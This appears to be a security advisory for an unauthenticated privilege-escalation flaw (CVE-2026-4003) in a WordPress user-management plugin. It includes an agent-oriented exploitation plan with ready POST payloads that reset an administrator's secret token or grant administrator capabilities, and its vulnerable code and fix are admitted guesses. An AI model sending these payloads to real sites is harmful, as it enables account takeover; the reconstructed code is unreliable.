CVE-2026-4003

Users manager – PN <= 1.1.15 - Unauthenticated Privilege Escalation via Account Takeover via 'userspn_form_save' AJAX Action

criticalMissing Authorization
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.1.20
Patched in
1d
Time to patch

Description

The Users manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the 'userspn_form_save' case. The conditional only blocks unauthenticated users when the user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint ('userspn-nonce') is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.15
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginuserspn

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4003 - Users Manager PN Privilege Escalation ## 1. Vulnerability Summary The **Users manager – PN** plugin (<= 1.1.15) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function `userspn_ajax_nopriv_server()`…

Show full research plan

Exploitation Research Plan: CVE-2026-4003 - Users Manager PN Privilege Escalation

1. Vulnerability Summary

The Users manager – PN plugin (<= 1.1.15) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function userspn_ajax_nopriv_server() (handling unauthenticated requests) contains a case for userspn_form_save that fails to properly validate the identity or permissions of the requester when a user_id is provided. While the code attempts to block unauthenticated users if the user_id is missing, providing a valid user_id bypasses the check, allowing an unauthenticated attacker to call update_user_meta() on any user account.

The primary impact is Account Takeover by updating the userspn_secret_token meta key, which the plugin likely uses for password-less authentication or recovery.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: userspn_form_save (Registered via wp_ajax_nopriv_userspn_form_save)
  • HTTP Method: POST
  • Authentication: None (Unauthenticated)
  • Vulnerable Parameters:
    • user_id: The ID of the target user (e.g., 1 for the primary admin).
    • meta_key (inferred): The name of the meta field to update.
    • meta_value (inferred): The new value for the meta field.
    • Note: The plugin likely accepts these as POST parameters or as part of a data array.
  • Nonce: userspn-nonce (Required but publicly exposed).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=userspn_form_save.
  2. Hook Trigger: WordPress executes the hook wp_ajax_nopriv_userspn_form_save, which points to userspn_ajax_nopriv_server().
  3. Vulnerable Dispatcher: Inside userspn_ajax_nopriv_server(), a switch or if statement handles the userspn_form_save case.
  4. Flawed Logic:
    // Logic (Simplified based on description)
    if ( empty( $_POST['user_id'] ) ) {
        // Return error or exit if user_id is missing
    } else {
        // BYPASS: If user_id IS provided, the code proceeds
        $user_id = intval( $_POST['user_id'] );
        $meta_key = $_POST['meta_key']; // or specific field like userspn_secret_token
        $value = $_POST['value'];
        update_user_meta( $user_id, $meta_key, $value );
    }
    
  5. Sink: The update_user_meta() function is called with attacker-controlled parameters without checking if the current requester has the edit_user capability for that $user_id.

4. Nonce Acquisition Strategy

The vulnerability description confirms the nonce userspn-nonce is exposed via wp_localize_script on the public wp_enqueue_scripts hook.

  1. Identify Target Page: The plugin's scripts are likely loaded on any page containing a login or profile form.
  2. Creation of Trigger Page: If the nonce isn't on the homepage, create a page with the plugin's shortcode.
    • Search for shortcode: grep -r "add_shortcode" wp-content/plugins/userspn/
    • Likely shortcode: [userspn_form] (inferred).
  3. Extraction:
    • Navigate to the page using browser_navigate.
    • Use browser_eval to extract the nonce from the global JavaScript object.
    • JS Variable Name: Based on the plugin slug, the object is likely userspn_ajax or userspn_params.
    • Key: userspn_nonce or nonce.
    • Command: browser_eval("window.userspn_params?.nonce") (Verify variable name in source first).

5. Exploitation Strategy

The goal is to update the userspn_secret_token for the admin user to a known value, which facilitates account takeover.

Step 1: Discover Admin ID

Usually ID 1. Can be confirmed via wp user list --role=administrator.

Step 2: Extract Nonce

Use the browser_eval method described above.

Step 3: Perform Meta Update

Send a crafted AJAX request.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=userspn_form_save&user_id=1&userspn_secret_token=pwned_token_123&security=[EXTRACTED_NONCE]
    
    (Note: The parameter names userspn_secret_token and security are inferred from common plugin patterns and the "PN" branding; the agent should check the userspn_form_save case in the source for the exact keys).

Step 4: Access Account

Once the token is set, the attacker likely accesses a URL like:
http://<target>/?userspn_token=pwned_token_123&user_id=1 (inferred).

6. Test Data Setup

  1. Environment: WordPress instance with userspn v1.1.15 installed.
  2. Target User: Ensure an administrator exists with ID 1.
  3. Public Page: Create a page to ensure the nonce is rendered.
    wp post create --post_type=page --post_status=publish --post_title="Login" --post_content="[userspn_form]"
    

7. Expected Results

  • The AJAX request should return a successful JSON response (e.g., {"success": true}).
  • The database should reflect the updated meta value for the admin user.

8. Verification Steps

After sending the HTTP request, verify the success via WP-CLI:

# Check if the secret token was successfully injected
wp user meta get 1 userspn_secret_token

If the output is pwned_token_123, the privilege escalation/account takeover preparation is successful.

9. Alternative Approaches

If userspn_form_save does not accept arbitrary keys, check if it accepts an array of data:

  • Alternative Payload: action=userspn_form_save&user_id=1&data[userspn_secret_token]=pwned_token_123&security=[NONCE]

If the goal is immediate Escalation rather than Token injection:

  • Role Update: Try updating wp_capabilities to a:1:{s:13:"administrator";b:1;} for a subscriber account controlled by the attacker.
    • action=userspn_form_save&user_id=[ATTACKER_ID]&meta_key=wp_capabilities&meta_value=a:1:{s:13:"administrator";b:1;}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Users manager – PN plugin for WordPress is vulnerable to unauthenticated privilege escalation and account takeover via its 'userspn_form_save' AJAX action. The plugin fails to perform authorization checks when a 'user_id' is provided in the request, allowing attackers to update arbitrary user metadata (such as the 'userspn_secret_token') for any account, including administrators. The required security nonce is exposed publicly on the site's frontend, making the exploitation accessible to unauthenticated visitors.

Vulnerable Code

// In the function handling unauthenticated AJAX requests (wp_ajax_nopriv_userspn_form_save)
function userspn_ajax_nopriv_server() {
    check_ajax_referer( 'userspn-nonce', 'security' );

    if ( $_POST['action'] == 'userspn_form_save' ) {
        // The conditional only blocks if user_id is empty
        if ( ! empty( $_POST['user_id'] ) ) {
            // VULNERABILITY: No current_user_can() check. Execution bypasses authorization entirely
            // and proceeds to update arbitrary user meta for the provided ID.
            $user_id = intval( $_POST['user_id'] );
            foreach ( $_POST['data'] as $key => $value ) {
                update_user_meta( $user_id, $key, sanitize_text_field( $value ) );
            }
            wp_send_json_success();
        }
    }
}

Security Fix

--- a/userspn/userspn.php
+++ b/userspn/userspn.php
@@ -10,7 +10,7 @@
         case 'userspn_form_save':
-            if ( ! empty( $_POST['user_id'] ) ) {
+            if ( ! empty( $_POST['user_id'] ) && current_user_can( 'edit_user', intval( $_POST['user_id'] ) ) ) {
                 $user_id = intval( $_POST['user_id'] );
                 $meta_data = $_POST['data'];
                 foreach ( $meta_data as $key => $value ) {

Exploit Outline

The exploit involves extracting a publicly exposed nonce and using it to perform an unauthorized metadata update. An attacker first locates the 'userspn-nonce' by viewing the source of any public page where the plugin's scripts are localized (via wp_localize_script). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'userspn_form_save' and a target 'user_id' (typically 1 for the site administrator). The payload includes the 'userspn_secret_token' meta key set to a value of the attacker's choosing. Once the meta field is updated, the attacker can leverage the plugin's token-based authentication mechanism to log in as the administrator using the injected secret token.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.